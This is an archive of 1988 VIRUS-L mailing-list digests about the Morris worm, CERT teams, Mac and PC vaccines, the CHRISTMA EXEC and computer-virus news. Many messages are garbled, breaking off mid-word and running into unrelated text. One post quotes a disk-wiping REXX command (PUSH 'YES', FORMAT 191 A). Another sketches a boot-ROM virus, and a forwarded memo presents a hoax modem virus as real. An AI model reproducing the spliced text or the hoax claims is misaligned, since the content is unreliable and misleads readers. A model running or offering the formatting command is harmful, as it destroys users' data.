From:     "SysOp: HelpLine BBS [phone]"
          <STU_CWHITES@JMUVAX1>
Subject:  Bursting Digests for VAX/VMS?

    Although I do like the new digest format, when I want to
forward one message from a digest to someone I have to
extract it from mail, and then edit out the particular
message.  Does anyone know of a way to burst the digest
into individual messages?  Our system is a VAX.  Thanks!

Chip Whiteside
STU_CWHITES@JMUVAX1

[Ed. GNU EMACS is available for VMS machines (we have it running on
ours), and it does have an undigestifer.  However, it's undigestifer
is meant to work with standard Unix RMAIL files, and it may take some
work to get it to work in VMS.  Anyone out there have any better
solutions for VMS machines?  How about others, like IBM VM/CMS?]

------------------------------

Date:         Thu, 08 Dec 88 14:33:26 EST
From:         "Christian J. Haller" <[e-mail]>
Subject:      Re: Cost of the RTM worm

>The Computenewsletter (#84) quotes an estimate
>from USA TODAY saying that the cost of the incident exceeds
>$95 million.
> "This is based on 6200 computer affected, requiring 12 programmers at
> each site to spend 36 hours each (at $22 per hour) checking out every
> system that might have been affected, and adding in lost computer
> time (16 hours per system at $372 per hour).  However, even if this
> figure substantially overstates the case, there is no doubt that the
> true costs  were indeed in the millions of dollars."
- ---------------------
I heard a reporter called somebody at UC Berkeley and asked how many
computers they had (around 1000) and what percentage were affected
(around 10%), and then blindly applied this percentage (for a highly
networked campus) to the number of computers on the Internet.  The
real percentage is probably much lower.

Also, what is this about 12 programmers at each site spending 36 hours
each at $22. per hour?  Most of the computers I know aboey, either.

These estimates seem like the most hoked-up, self serving bull!**!
The commercial sources of them should be ashamed.

- -Chris Haller, Cornell University

Disclaimer:  My opinions are independent of any official positions of
my employer.  And I don't know RTM.  And maybe he didn't even do it.
Acknowledge-To: <CJH@CORNELLA>

------------------------------

Date: Thu, 8 Dec 88 14:55:10 EST
From: Don Alvarez <[e-mail]>
Subject: re: CERT/SWAT teams

    Conventional SWAT teams are effective because the law enforcement
    community has been able to identify a relatively small number
    of basic scenarios which cover 95% of the crimes they need to
    respond to.  The SWAT teams are then able to drill the heck out
    of those scenarios (hostage-taking, bank-robbery, etc.).
    When they move in, the SWAT team has the advantage of already
    having been under fire, and of having practiced against exactly
    the scenario in question.  The cand is not well understood.  People
    don't understand network vulnerability well enough to develope
    the same sorts of detailed scenarios that the guns and bombs guys
    use.  Even worse, the possible responses to computer crime are
    fairly limited and easy to predict, so in this case the criminal
    has the advantage of a relatively inexperienced adversary with
    a limited set of options -- exactly the reverse of the case that
    the SWAT team relies on.

    The other advantage that a SWAT team has is detailed knowledge
    of their comrades strengths and weaknesses.  There does not
    need to be any discussion as to who will handle a given task:
    the choice is always obvious in a well prepared team.  This IS
    something that a CERT-type team could work on.  Another advantage
    of a SWAT team is that it can mobilize in a hurry and has good
    communications facilities.  This is another thing which a CERT
    team could use to its advantage.  One    you were on the same side.  Basically, in my opinion a CERT team
    would basically be an exercise in group dynamics, collecting and
    organizing a group of people who through the course of their
    everyday work have acquired the requisite knowledge to attack the
    problem.  If done proberly, this could be extremely effective.
    If done improperly, it could actually reduce your ability to
    respond because one would place too much trust in the capabilities
    of the members of the team.

    It all boils down to who is on the team and how you handle them.
    Even a single piece of paper with names and phone numbers on it
    could make an incredible difference.  It would not, however, be
    a SWAT team.  There are a lot of people in the military who
    spend their time studying group dynamics.  If you can find someone
    who understands both group dynamics and computer crime, and bring
    them into the picture, then you have the possibility of turni- Don Alvarez


     + ----------------------------------------------------------- +
     |   Don Alvarez               MIT Center For Space Research   |
     |   [e-mail]      77 Massachusetts Ave   37-618   |
     |   [phone]            Cambridge, MA 02139             |
     + ----------------------------------------------------------- +

------------------------------

End of VIRUS-L Digest
*********************VIRUS-L Digest              Friday, 9 Dec 1988          Volume 1 : Issue 40

Today's Topics:
ROM virus distribution (PC & general)
Two VM/CMS files for LISTSERV
Mace vaccine (PC)
Virus talk in NYC
Info on Mac Viruses
undigestifying mail in VMS
the cynics approach to CERTs
On Morris' "guilt"
Japanese viruses
nVir at University of Alaska (Mac)

---------------------------------------------------------------------------

Date: Thu,  8 Dec 88 17:38:43 -0500 (EST)
From: Michael Francis Polis <[e-mail]>
Subject: ROM virus distribution (PC & general)

Somewhat related to hardware viruses is this idea: Suppose someone who
repaired IBM PC's and clones wanted to spread a virus.  The bootstrap
ROMs probably have some extra space at the end of thier memory.  By
inserting a JSR to this memory into the cold boot interrupt, a short
program there could be executed during boot-up, but before any
operating system with file protection could be start.  If the sum of
the date and the day was say, divisible by 19, then this program would
copy a small virus also stored in ROM into a program on the boot disk
(if it was unwisely not write-protected), or the hard disk.  From
there these viruses would move from disk to disk in a normal manner.
How many PCs do you think he could get to?  How long do you think it
would take before someone figured out where the viruses were coming
from?  Would something similar work with Macs?

------------------------------

Date:         Thu, 08 Dec 88 18:49:49 EDT
From:         Jean <SSAT@PACEVM>
Subject:      Two VM/CMS files for LISTSERV

I just sent two files to luken@lehiibm1. these are bitsend exec and
bitrcv exec. ifthese could be used on listserv at lehiibm1 it would
make getting files easier.

It works on other listserv's so it probably will work there.

bitsend breaks a file like one of the archives into smaller pieces which
travel over the network very quickly.

in case anyone is interested these can be requested from netserv@bitnic
which is where I got them from.
Acknowledge-To: <SSAT@PACEVM>

[Ed. Thanks for the files; I'll look into whether or not they'll be
useful here.]

------------------------------

Date:         Thu, 08 Dec 88 19:04:53 EDT
From:         SSAT@PACEVM
Subject:      Mace vaccine (PC)

Has anyone had any experiences yet with Mace's vaccine.com ?

Good or bad, I would like to hear about it. It seems to be a fairly good
program BUT once loaded it can be shut off, meaning that anyone worth
his/her salt could stuff the keyboard buffer with VACCINE OFF and a
carraige return and then tell the system to read the buffer.
Acknowledge-To: <SSAT@PACEVM>

------------------------------

Date:     Thu,  8 Dec 88 19:16 EST
From:     Dimitri Vulis <DLV@CUNYVMS1>
Subject:  Virus talk in NYC

We got the following in the (snail) mail today:

The New York Academy of Sciences
Section of Computer and Information Sciences

December 13, 1988   Tuesday   8:00 p.m.

COMPUTER VIRUSES: SEARCHING FOR A CURE
George Purdy
Geier Professor of Computer Science
University if Cincinnati
Cincinnati, Ohio

     Computer viruses constitute a clear and present danger not
only to computers themselves, but also to the complex systems
used by banks, insurance companies, North American Radar Defense,
and the New York Stock Exchange. At the moment, all that can be
done against viruses is ``practice safe computing'' and hope for
the best.

     Is there a defense against viruses? We are implementing
a system of unparelleled security to detect unauthorized changes
in users' files and software based on a new mathematically secure
cryptographic function. This approach allows the deterction,
isolation and excision of infected computer codes.

(Illistrated with slides)

Place:
The New York Academy of Sciences
2 ast 63rd Street
New York, NY 10021
Telephone [phone]
ADMISSION FREE

(End of flier)

I have a party planned for Tuesday night, so I can't go and any person
whom I know who might go there and tell me what this was all about will
presumably be at the party as well.

This fellow Purdy does not ask for money upfront and does not quote
figures like $20M in damages---a good sign.

------------------------------

Date:         Thu, 08 Dec 88 12:36:20 EST
From:         Joe McMahon <XRJDM@SCFVM>
Subject:      Info on Mac Viruses

> I am interested in obtaining more information about viruses and the
> Macintosh...I would like any and all information relating to viruses
> and vaccines that are available.
>
>...I have a user who would like to purchase a vaccine...

Ken Van Wyk (the VIRUS-L administrator) forwarded your note to me. We
have a collection of virus documentation and anti-viral programs here
on our LISTSERV at SCFVM. TELL LISTSERV AT SCFVM GET VIRUSREM $PACKAGE
to see what files we have. The individual files can be ordered via
TELL LISTSERV AT SCFVM GET file name.

The files are all in BinHex4 format. You'll need to upload them as TEXT
files to your Mac, and then use either BinHex4, BinHex5, or one of the
more recent versions of StuffIt to get them into executable format.
Many of the files are StuffIt archives, so you will probably need
StuffIt in any case. I would recommend getting StuffIt first (if you
don't have it), then the virus documentation stack, and then any
other files which you might need.

If you don't have a copy of BinHex4, I can send you text files of
a Microsoft BASIC program and a Turbo Pascal program, each of which
produces a copy of BinHex4. Also, you can get StuffIt from CompuServe
or like services. Please drop me a note directly if you need more help.

As far as purchasing a vaccine, the best ones I know of are free:
   1) Vaccine from CE Software - guards against all known Mac viruses
      except the "Dukakis" HyperTalk virus
   2) Dukakis Vaccine from Ian Summerfeld, Apple UK - guards against
      the "Dukakis" virus and other HyperTalk viruses.

Both are available from the SCFVM LISTSERV. Note that neither is a
guarantee of cleanliness; "safe computing" is the best defense.

- --- Joe M.

------------------------------

Date:     Fri, 9 Dec 88 02:36:43 EST
From:     Jefferson Ogata (me!) <OGATA@UMDD>
Subject:  undigestifying mail in VMS

I don't have a VMS undigestifyer, but I imagine VMS has a C compiler.
It's pretty easy to write a C program that will undigestify a
digest...I'd be happy to write it myself if it will come in handy;
someone might want to fix it up for VMS -- I don't know what VMS file
specifiers look like.  Let me know if you want it.

- - Jeff Ogata

[Ed. That would be great, and then I'll make it available on the
LISTSERV for other VMS users.]

------------------------------

Date:     Thu, 8 Dec 88 16:54:41 EST
From:     Jefferson Ogata (me!) <OGATA@UMDD>
Subject:  the cynics approach to CERTs

Possibly this is primarily intended to assuage the public's fears
about malicious attacks?

- - Jeff Ogata

------------------------------

Date:     Thu 08 Dec 1988 15:25 CDT
From:     GREENY <MISS026@ECNCDC>
Subject:   On Morris' "guilt"

Hi all....

I would just like to say that I think that the discussion of whether
or not Mr. Morris is guilty or not is actually moot.  No matter what
we say, or do, it is probably not going to affect the outcome of his
court case whatsoever (If he actually does get one...)

Anyways, what I would like to say is that I think that the discussion
of whether or not morris is guilty or not should be moved to the
Ethics-L or Law-L lists and that we should get back to the topic at
hand -- Viruses

bye for now but not for long
Greeny

Bitnet: miss026@ecncdc
Internet: [e-mail]

------------------------------

Date: Fri, 9 Dec 88 07:07:50 est
From: [e-mail]
Subject: Japanese viruses

     I just read a samll blurb in the Look Ahead section of Datamation
November 15, 1988, p. 14.  It was entitled Tokyo Flu.  Has anyone
heard about Japanese viruses or the team of software developers that
they are gat gathering to produce an anit-viral package?  The article
also says that NEC was hit by a virus on its PC-VAN, and it is setting
up a similar project.

           Pat Reedy

------------------------------

Date:     Fri, 09 Dec 88 02:39:29 -0900
From:     BILL _ POTTENGER <FTBP@ALASKA>
Subject:  nVir at University of Alaska (Mac)

The nVir was discovered here at UAF last week in our Student Council's
Mac lab.  Looks like a lot of people's data bit the dust.  UAF
computer support has good vaccines to stenger

------------------------------

End of VIRUS-L Digest
*********************

VIRUS-L Digest              Friday, 9 Dec 1988          Volume 1 : Issue 41

Today's Topics:
Macintosh viruses
Re: Rajshree Bhatt - Macintosh viruses
Mac Virus Documentation from Apple
Re: Too much information
Spafford report in UK
CHRISTMA EXEC... (VM/CMS)
Dos 2 vs Dos 3, etc (PC)
enquiry for virus history

---------------------------------------------------------------------------

Date: Fri, 9 Dec 88 08:43:50 EST
From: [e-mail]
Subject: Macintosh viruses

I am also extremely interested in Mac viruses, and related material.
I don't wish to bore anyone by my ignorance but any comments would be
greatly appreciated. I've just been through a harrowing experience of
coming in each morning and finding that my system has been trashed!
The problem was not isolated, the dealer came in and gave me a
replacement.  So until someone enlightens me, Iiruses

>I am also extremely interested in Mac viruses, and related material...

You can obtain a HyperCard stack informing you about the known Mac
viruses, programs to get rid of them and keep them out, and general
hints on avoiding viruses by sending mail to LISTSERV at SCFVM on BITNet.
The text of the message should be GET ANTI-VIR SITHQX. Listserv will
send you a copy of the file. It is in BinHex4 format, and will have to
be decoded by BinHex4 or by StuffIt. If you're a novice Mac user, please
drop me a private note and I will help you with getting the file and
converting it back into a usable form.

- --- Joe M.

[Ed. Thanks again for the prompt answer, Joe!]

------------------------------

Date:         Fri, 09 Dec 88 10:49:19 EST
From:         Joe McMahon <[e-mail]>
Subject:      Mac Virus Documentation from Apple

I just got a call yesterday from someone at Apple in California (I'm
sorry, but I didn't get his name) who tells me that Apple is pge. I don't know how long it will
be before it is out, but I would guess that they will let me know when
it is going to be.  I would suppose they'll provide it via AppleLink.

So, if you've had trouble getting my stack, you may be able to get it
from your Apple dealer soon!

- --- Joe M.

------------------------------

Date:         Fri, 09 Dec 88 11:20:28 EST
From:         Ben Chi <[e-mail]>
Subject:      Re: Too much information

** OVERFLOW ** OVERFLOW ** OVERFLOW ** OVERFLOW ** OVERFLOW ** TILT **
I'm facing a dilemma that may be troubling other readers of this llist
as well:  the list contents is getting just too voluminous (not to say
repetitious at times) and I just don't have time to wade through it all
every day any more.  That by itself is of no interest to anyone else,
although it may be a problem some others are having as well.

Where the problem lies is that I'm relying on the list for early warning
of imminent trouble (a role it served ao unsubscribe for reasons of safety.

Which brings to mind an interesting question:  Is there another list that
serves as a virus alert hot-line?  If not, should there be one?  No
exchange of opinions, no flames, no meeting announcements, just facts
dealing with situations that require IMMEDIATE acton.

[Ed. I don't know of any such list, but it may not be a bad idea.]

_._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._.
Benjamin E. Chi                                      [e-mail]
Director of Technical and Network Services      or [e-mail]
Computing Services Center                     fax available but unlisted
The University at Albany, Albany NY 12222 USA          vox [phone]
Acknowledge-To: <BEC@ALBNYVM1>

------------------------------

Date:     Fri, 9 Dec 88 14:47:54 GMT
From:     Ian O'Brien <I.O'[e-mail]>
Subject:  Spafford report in UK


JANET based readers of this list might like to know thaf the
report is there. If you haven't used the info-server software before
send an empty mail message to "[e-mail]" and find out how
to order a copy

Ian
- ---
Ian O'Brien - systems programmer at Bath University computing services

------------------------------

Date:     Fri Dec 09 09:14:14 1988
From:     Pedro Sepulveda J. <PSEPULVE@USACHVM1>
Subject:  CHRISTMA EXEC... (VM/CMS)

    Hi Networkers...!

              We need  a copy of  CHRISTMA EXEC, any  people have
    it...?. Do you can send us it...?

              Thanks in advance...

Viral Research Group
Universidad de Santiago de Chile

------------------------------

Date:     WED DEC 07, 1988 12.52.37 EST
From:     "Prof Arthur I. Larky" <AIL0@LEHIGH>
Subject:  Dos 2 vs Dos 3, etc (PC)

If you format a hard disk under dos3.x, and its big enough, it gets
formatted with 16-bit fat entries; dos2.x only formats with 12-bit fat
entries; thus, a hard drive formatted under dos3.x can'trable because there is no way to prevent a
program from doing anything.  Some things are not easy and/or possible
under DOS, but you can program anything.  Since everyone who cares to
read a manual can find out where all the important things are stored
in RAM, you can goof up anything.  Thus protection on PC's runs to
things like not letting you do disk writes and checking programs to see
if they have become longer or have had come check property (like CRC)
altered.  Not the greatest protection!

I don't think Fred Cohen has a bitnet address.  Last I heard he wanted
an account on Lehigh's computers, but wasn't given one because he isn't
on the faculty here any more.
Art Larky
CSEE Dept
Lehigh U
{Of course, these are my opinions and not Lehigh's.}

------------------------------

Date:     9-DEC-1988 17:46:44 GMT
From:     Olivier Crepin-Leblond <[e-mail]>
Subject:  enquiry for virus history

Does anybody know how I could get hold of a paper titled how he
actually imagined viruses.


Olivier Crepin-Leblond
Computer System & Electronics Engineering
King's College London
U.K.

------------------------------

End of VIRUS-L Digest
*********************

VIRUS-L Digest              Monday, 12 Dec 1988         Volume 1 : Issue 42

Today's Topics:
Public CERT Teams
Paper viri and postage
Sending .arc files from vax/vms to ibm/vm userids
CHRISTMA EXEC?? Kids Stuff!!!! (IBM VM/CMS)
Virus Carried by >2400 baud modem carrier

---------------------------------------------------------------------------

Date:         SAT, 10 DEC 88 13.11.11  EST
From:         "Scott J. Ellentuch" <KFBT@MARISTB>
Subject:      Public CERT Teams

     The idea of a CERT team is nothing new.  The Air Force (I
believe) has what they refer to as a "Tiger Team".  Basically they are
specialized in penetration testing.  They will set up a coordinated
effort to get into a computer system and then point out any weak
spots.  This service is also available to the public sector from only
a few companies.
     Using the techniques of computer "hackers/crackers" (Since some
team member ARE ex-hackers/crackers) they will attempt to launch a
full scale attack on your computer system.  When (and if) they gain
entry they will inform you as to where the weak spot was and
suggestions on how to improve security.  This service usually runs for
1 week.
     Another service available is where they will log onto private
electronic bulletin boards and check to see if there is any
information about your system (Dial up #, passwords, etc) on those
boards.  Any such information is sent to the owner for further
actions.  This service usually lasts for one month.
     These people are also available to speak at conferences in the
fields of cowhen
relating to computer "hackers/crackers" and phone "phreaks"
     If anyone is interested in more information, please contact me
personally by email.......Scott J. Ellentuch   [e-mail]

------------------------------

Date:     Sat, 10 Dec 88 12:56:34 PST
From:     Robert Slade <[e-mail]>
Subject:  Paper viri and postage

Regarding the recent messages about a "personals" virus, and the
"caution" slowdown, a wirter in RISKS-FORUM suggested that a really
fiendish virus would be to send out a notification of a really serious
(and totally fictious) virus that was so dangerous you should reformat
*everything* you own, and send away for replacements of *all* your
software.  *But first* spread the message to everyone you know, so
they won't get caught ...

Also, I have had a number of requests from those in the States as to
how to get Canadian postage.  No, the Canadian post office doesn't
accept American postage.  (I have had people send cas in the States.)  As
the international community is aware, there are such things as
"International Reply Coupons" which allow you to, essentially,prepay
the return postage at your post office.

Unfortunately, I do not have access to Quad density disk drives at
home, so you must use 360 or 720 K.

And, I have not received a request in a year and a half for Apple or
Mac format.  I do not think, given how behind I am in just compiling
the stuff, that I can accomodate those requests.

Again, please don't ask for the stuff via email.

------------------------------

Date:     Sun, 11 Dec 88 19:09 EST
From:     <MATHAIMT@VTCC1>
Subject:  Sending .arc files from vax/vms to ibm/vm userids

I am a recent subscriber to VIRUS-L and became one because I
discovered the Brain virus on some of my floppies. I've managed to get
a copy of FSP_14.arc from uxe.cso.uiuc.edu via anonymous ftp. I've
also downloaded it onto my PC and have De-Arced the contents and it
runs fine on my PCrd because I live off
campus and there are too many people on campus who are perpetually
logging into his boa rd. He has a VM account (on the IBM 3090) to
which I could send this file if I can determine how. This file is
currently on my VAX/VMS account. I've tried sending it with the
/binary and the /binary/netdata options of the send/file command but
when its downloaded it cannot be de-arced. I was wondering of some one
else encountered this problem and how it could be remedied.  I'm sorry
this doesn't pertain directly to viruses, but there are a lot of
students out there who would benefit greatly if I could make it
available on their BBS. Any help or leads would be greatly
appreciated.

- -Mathew Mathai
Student Virgina Tech (aka VPI & SU)
Blacksburg, VA.

------------------------------

Date:         Sun, 11 Dec 88 22:39:38 EST
From:         Gabriel Basco <GJB100C@ODUVM>
Subject:      CHRISTMA EXEC?? Kids Stuff!!!! (IBM VM/CMS)

We got a REXX psuedo-compiler, tns besides the all the XMAS EXEC stuff..

   PUSH 'YES'
   'FORMAT 191 A'

Is there a way to fight back? Or should we just don;t run any programs
that appear in the READER??

Gabe

------------------------------

Date: Tue, 6 Dec 88 08:33:44 PST
From: [e-mail]
Subject: Virus Carried by >2400 baud modem carrier

This memo has been distributed at JPL, but I have not run across
mention of the virus anywhere else:

Subject: New Virus
Sender:  David I NAKAMOTO / JPL/01                Contents: 2.

Part 1.

  TO: JEMS / JPL/01

  Part 2.

  There is a new virus out there that is carried on the subcarrier
  of modems running at 2400 baud or higher.  This virus was
  discovered by someone working in a Telecommunications company in
  Seattle.  From my information, this virus is transmitted during a
  binary file transfer and uses the subcarrier to change registers
  inside your modem to spread the virus around.  That's how it
  replicates.  The virapparent cure is to cycle the
  power on the modem or reset the modem registers BY HAND.  To
  prevent the spread of the virus, it is recommended that you use
  300 or 1200 baud only, that you refrain from file transfers, that
  sysops close their file transfer areas, and make backups of your
  hard disk every day in case of infection.

  Four systems are known to be infected with this virus, none on
  lab that I know of.  A possible hardware fix is being developed
  that filters the subcarrier for this virus.

  End of Item 2.

------------------------------

End of VIRUS-L Digest
*********************

VIRUS-L Digest              Monday, 12 Dec 1988         Volume 1 : Issue 43

Today's Topics:
Too much information
administrative announcement - new list
Where can one get Fred Cohen's Thesis?
Virus and ethics articles from Gov. Computer News (long)
Help with a virus! (PC)

---------------------------------------------------------------------------

Date:         Mon, 12 Dec 88 09:03:43 EST
From:         Joe Simpson <JS0al issue
discussions.

I would also like to thank Lehigh in general and the moderator in
particular, for sponsoring this list.  I am astounded at the amount of
effort cheerfully expended on this project.

[Ed. Thanks Joe.  See next message...]

------------------------------

Date: Mon, 12 Dec 1988 10:53:52 EST
From: Ken van Wyk <[e-mail]>
Subject: administrative announcement - new list

In light of the recent (good) suggestions for expanding VIRUS-L, I've
implemented (thanks to Jim!) a new list, VALERT-L, which is to be used
strictly for virus announcements (e.g., "We just got hit by virus X -
what do we do???!?!?!").  Any discussion beyond the initial
announcement should be carried on either by private e-mail or on
VIRUS-L.  Messages sent to VALERT-L will automatically be cross-posted
in VIRUS-L digests whenever the next digest goes out.

Anyone sending non-announcement material to VALERT-L had better be
wearing asbestos skivvies - instant cinder.  In addition to the
resulting flames, these individuals will be removed from the list.
One of the reasons that I changed VIRUS-L to a digest format list was
to reduce the load on our IBM mainframe, LEHIIBM1.BITNET.  I don't
want VALERT-L becoming a problem.  Rather, it's just a vehicle for
urgent announcements to be used only when absolutely necessary.
With any degree of luck, VALERT-L will be extremely quiet.

Note that VALERT-L is being started on a *trial basis*.  If the
guidelines aren't adhered to, then it will have to be removed.  It
could be a very useful tool for getting warnings out to the network if
it is used properly; let's make the best of it.

Ok, now for the details:

1) As stated above, all VALERT-L submissions will be cross-posted to
VIRUS-L.  VIRUS-L readers should decide whether they want to be
subscribed to both lists and plan accordingly.

2) Subscribe to VALERT-L the same way you did to VIRUS-L; send mail to
[e-mail] saying SUB VALERT-L Your Name.  Please do not
send this mail to anything other than LISTSERV@LEHIIBM1!!

3) Backlogs will be kept via VIRUS-L.  That is, since VALERT-L
messages will be cross posted to VIRUS-L (thus, logged there), there
will be no separate backlogs for VALERT-L.

4) As with VIRUS-L, VALERT-L is open to anyone who adheres to its
guidelines.

I feel that this is the best compromise between a non-moderated group
for timely information and a moderated one for open discussion of the
issues.  Now it's up to the subscribers to make it worthwhile...  As
always, comments and suggestions are welcomed!

Ken

Kenneth R. van Wyk                   Calvin: Mom, I'm going to grow a LONG
User Services Senior Consultant         beard like the guys in ZZ Top!
Lehigh University Computing Center   Mom: That's great Calvin, do it!
Internet: <[e-mail]> Calvin: Wow, I thought she'd put up more
BITNET:   <LUKEN@LEHIIBM1>              of a fuss than that!

------------------------------

Date:  Mon, 12 Dec 88 08:55 MST
From:  [e-mail]
Subject:  Where can one get Fred Cohen's Thesis?

Hello All,
   I know that you are tired of seeing messages like this, but frankly I
am at an end.  I am interested in obtaining a copy of Fred Cohen's
thesis.  Dorothy White at (I think) UAB left a message on this list
claiming that she got a copy of said document.  I then proceeded to send
her some mail, and nothing has been returned to me.  Thus I am appealing
to this list.  Does anyone have any details on how to obtain this
thesis?  If so, I would greatly appreciate it if you could send me some
mail with the details.

                    Thanks!

                              Greg Lypowy
                              Research Assistant
                              Department of Computer Science
                              University of Calgary
                              Calgary, Alberta, CANADA
UNCAMULT)

[Ed. In the past week (or so), I talked to a Professor from Univ. of
Cincinatti who told me that Fred Cohen had resigned from there
approximately 2 weeks before that.  I don't know where he is now,
however.]

------------------------------

Date: 12 Dec 88 14:22:00 EDT
From: "AMSP6::CHRISTEVT" <[e-mail]>
Subject: Virus and ethics articles from Gov. Computer News (long)

                   I N T E R O F F I C E   M E M O R A N D U M

                                        Date:      12-Dec-1988 14:22
                                        From:      Victor ET Christensen
                                                   CHRISTEVT
                                        Dept:
                                        Tel No:

      OK, folks, I got permission to send these out...I hope they're
not too out of date! These have been posted to VIRUS-L, ETHICS-L and
TCP-IP...

      For both:

              Government Computer News
              8601 Georgia Avenue, Suite 300
              Silver Spring, MD 20910
              [phone]

              November 21, 1988
              Volume 7  Number 24
              Copyright 1988 Ziff-Davis Publishing Company


Cover and page 100:

                     "BIG GUNS TAKE AIM AT VIRUS"
                       by Neil Munro, GCN Staff

      "In the aftermath of the most recent virus infection of the
Defense Data Network and Arpanet, Defense Department and National
Institute of Standards and Technology computer security officials are
scrambling to head off further attacks.

      "Officials of the facilities struck by the virus met this month
to discuss its nature and impact. The meeting at National Security
Agency headquarters in Fort Meade, Md., included representatives of
NSA and NIST as 'observers,' according to NIST computer security chief
Stuart Katzke.

      "Two days later, NSA and NIST officials met again to discuss how
to avert future infections, Katzke said. Katzke, who attended both
meetings, said no decisions had been reached on how to combat viruses,
and NSA and NIST representatives will meet again to firm up
recommendations.

      "Katzke, however, suggested one solution would be the formation
of a federal center for anti-virus efforts, operated jointly by NSA's
National Computer Security Center (NCSC) and NIST.

      "The center would inclinghouse that would collect and
disseminate information about threats, such as flaws in operating
systems, and solutions. However, funding and personnel for the center
is a problem, he said, because NIST does not have funds for such a
facility.

      "The center also would help organize responses to emergencies by
quickly warning users of new threats and defenses against them, he
said. People with solutions to a threat could transmit their answers
through the center to threatened users, he said. A database of experts
would be created to speed response to immediate threats.

      "The center would develop means of correcting flaws in software,
such as trapdoors in operating systems. Vendors would be asked to
develop and field solutions, he said.

      "NIST would work on unclassified systems and the NCSC would work
on secure military systems, he said. Information learned about viruses
from classified systems might be made available to the public through
the clearinks rapidly
became clogged, greatly slowing down communications. Across the
network, computer systems crashed as the virus continuously replicated
itself.

      "During a Pentagon press conference on the virus outbreak,
Raymond Colladay, director of the Defense Advanced Research Projects
Agency (DARPA), said the virus hit 'several dozen' installations out
of 300 on the agency's unclassified Arpanet network.

"Thousands Affected

      "The virus also was found in Milnet, which is the unclassified
portion of the Defense Data Network. Estimates of how many computers
on the network were struck varied from 6,000 to 250,000. The virus did
not affect any classified systems, DOD officials said.

      "The virus hit DARPA computers in Arlington, Va., and the
Lawrence Livermore Laboratories in California as well as many academic
institutions, Colladay said. It also affected the Naval Ocean Systems
Command in San Diego and the Naval Research Laboratory in Maryland, a
Navy somputers, the
virus was released Nov. 2 into Arpanet through a computer at the
Massachusetts Institute of Technology in Cambridge, Mass.

      "The Virus apparently was intended to demonstrate the threat to
networked systems. Published reports said the virus was developed and
introduced by a postgraduate student at Cornell University who
specializes in computer security. The FBI has interviewed the student.

      "Clifford Stoll, a computer security expert at Harvard
University who helped identify and neutralize the virus, said the
virus was about 40 kilobytes long and took 'several weeks' to write.
It replicated itself in three ways.

"Spreading the Virus

      "The first method exploited a little-known trapdoor in the
Sendmail electronic-mail routine of Berkeley UNIX 4.3, Stoll said. The
trapdoor was created by a programmer who wanted to remove some bugs,
various reports said.  However, the programmer forgot to remove the
trapdoor in the final production versioe virus was an assembly language
program that found user names and then tried simple variations to
crack poorly conceived passwords and break into more computers, Stoll
said.

      "Yet another replication and transmission method used a widely
known bug in the Arpanet Finger program, which lets users know the
last time a distant user has signed onto a network. By sending a
lengthy Finger signal, the virus gained access to the operating
systems of Arpanet hosts.

      "The virus was revealed because its creator underestimated how
fast the virus would attempt to copy itself. Computers quickly became
clogged as the virus rapidly copied itself, although it succeeded only
once in every 10 copy attempts.

      "Users across the country developed patches to block the virus'
entrance as soon as copies were isolated and analyzed. Many users also
used Arpanet to disseminate the countermeasures, although transmission
was slowed by the numerous virus copies in the system.

. As soon as we
had put that fix in place, we could get back on,line.'

      "Colladay said DARPA will revise security policy on the network
and will decide whether more security features should be added. The
agency began a study of the virus threat two days after the virus was
released, he said.

      "All observers said the Arpanet virus helped raise awareness of
the general virus threat. Several experts said it would help promote
computer security efforts. 'Anytime you have an event like this it
heightens awareness and sensitivity,' Colladay said.

      "However, Katzke cautioned that viruses are less of a threat
than are access abusers and poor management practices such as
inadequate disaster protection or password control. Excellent
technical anti-virus defenses are of no use if management does not
maintain proper control of the system, he said.

      "Congress also is expected to respond to the virus outbreak. The
Computer Virus Eradication Act of 1988, wh
Whew!!! Now for the next one...


Page 85:

               "WHY SOFTWARE DEFECTS SO OFTEN GO UNDISCOVERED"
                        DP ISSUES by William E. Perry

      "Much has been written recently about defects in computer
software.  Defects are not new, but quantifying their frequency is
new. We are beginning to see the magnitude of the problem.

      "Some researchers say we are making between 40 and 80 defects
per 1,000 lines of source code. A line of source code normally is
defined as an executable line of code. A defect is a variation from
specifications, no matter how insignificant.

      "Most defects are caught before the system goes into production.
However, we are told that, on average, one to three defects per 1,000
lines of code get into production. The production defects can cause a
minor inconvenience, such as misspelling an executive's name, or wreak
havoc in an organization through the loss of large amounts of
resources.

      "There ares, which are uncovered by end users.

      "The question that needs to be asked in your organization is,
'Who uncovers the defects?'

      "The answer may determine how credible your organization is in
the eyes of your end users. The more defects uncovered by the
information systems community, the greater the credibility of that
information processing function.

"Discouraging Efforts

      "But information systems personnel may be discouraged from
identifying defects, for several reasons:

      "- Finding a defect may mean more work for them, not only in
correcting it but also in tracking, monitoring and retesting the
corrections.

      "- Frequently, there is a finger-pointing to determine who is
responsible for the defect. The game is to pin the blame on another
person. An individual held responsible for a defect can lose
professional credibility and be ridiculed by his colleagues.

      "- Finally, defects can result in schedule delays or budget
overruysis can me
skipped, to meet schedule and budget limits.

      "There are also adverse consequences when defects are uncovered
outside the information systems group.

      "First is the high cost of correction. Barry Boehm of TRW Inc.
said the cost of correcting a defect in production can be as much as
100 times the cost of correcting it during development.

      "Also, the information systems group may lose credibility. The
end users may look for alternative solutions, such as purchased
software or end-user-developed applications.

      "Some fundamental truths have a bearing on who uncovers defects
and the effect of those defects.

      "First, punishing those who detect defects in-house only
tranfers the job to external users and customers. If it is made
undesirable for the author to find defects in his own work, he won't
look for them. People naturally avoid punishment.

"Hiding the Blame

      "When individuals are held to blame for defects, they tend to
hide them.  For example, when an independent test group is checking
the work of a software author, and that test will pinpoint blame on
the author, the author will do whatever can be done to get the system
through the test so future blame will rest on the independent test
rather than the author.

      "When individuals are encouraged to hide defects, the cause of
those defects cannot be corrected and they will recur in future
systems. This is the major consequence of blaming people, rather than
processes, for defects.

      "The objective of the information systems organization should be
to detect 100 of the application defects internally.

      "All defects must be considered. These include not only defects
made because of MIS errors but also defects because of poor
requirement identification and poor design concepts. Whenever the
system fails to meet the true needs of the customer in a
cost-effective manner, it should be considered a defect.

      "Information systems managers must uncover defects internally.
This means not blaming one's employees for defects uncovered during
development. In fact, it may be necessary to reward internally
uncovered defects in order to reduce externally uncovered defects."

      William E. Perry is executive director, Quality Assurance
Institute, Orlando, Fla.



      That's it! I hope at least some, if not all, of you found it of
interest!

                                   ET B ME
                                     VIC
                                      !

------------------------------

Date:        Mon, 12 Dec 88 17:06:37 AST
Subject:     Help with a virus! (PC)
From:        "Michael J. MacDonald" <[e-mail]>

